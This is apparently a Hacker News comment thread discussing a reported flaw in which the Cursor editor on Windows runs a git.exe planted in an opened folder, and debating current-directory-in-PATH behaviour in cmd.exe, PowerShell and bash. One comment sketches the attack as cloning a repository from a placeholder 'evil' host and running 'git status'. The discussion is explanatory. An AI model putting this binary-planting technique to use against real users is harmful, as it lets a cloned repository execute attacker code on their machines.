3 ms·
It's pretty weird for cursor to run arbitrary exe file without prompting, and alarming that the researchers did not get a proper response for months. But the e
by Illniyar 3mo ago
It's pretty weird for cursor to run arbitrary exe file without prompting, and alarming that the researchers did not get a proper response for months.
But the example with calculator is a bit misleading I think, you'll have to have a malicious exe already in the system and downloaded, and if cursor tried to run my understanding is that ACL should immediately kick in and you'll be asked for permission to run a new, unsigned app for the first time.
You'll have to have ACL disabled completely for this to be exploitable.
- shitter 3mo agoAnd what'll the prompt say? "Do you want to run git.exe?"? I'll probably assume Cursor needs to run git but permissions got messed up somewhere and click right through that. I haven't used Windows in a while so pardon if I'm missing something.
- jofzar 3mo agoI'm not a windows developer or a ide developer, but I would check the hash against known good git.exe and then only run if it matches it.
- Illniyar 3mo agoOstensibly you've ran git before and never saw something like that, seeing a security warning on running git should raise some eyebrows.
- x3n0ph3n3 3mo agoSame thing happens if I have a: 1) PS1 that displays the current git branch 2) Include the current directory in my PATH Should we file a high severity CVE with bash now?
- jwolfe 3mo agoIf bash placed the current directory in your PATH by default, then yes.
- lyu07282 3mo agoCould file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing: > git clone git://evil evil > cd evil\ > git status The last line would execute git.exe from the cloned repo, wouldn't it?
- loumf 3mo agoIt’s been known for decades that you should never put your current directory in your PATH. There are endless opportunities for vulnerabilities then. I learned this in college in the 80’s (by not following it and getting owned).
- x3n0ph3n3 3mo agoYet PowerShell does it by default.
- julianz 3mo agoI don't think it does? > cd C:\Temp > copy "C:\Program Files\Git\bin\git.exe" .\fred.exe > fred fred: The term 'fred' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
- shitter 3mo agoI would file a CVE for any program that places untrusted content into PATH and invokes non-fully qualified executable names - not for the shell.
- Firehawke 3mo agoNot with bash. If your distro is putting ./ into the path then that's absolutely a high severity CVE with your distro's config.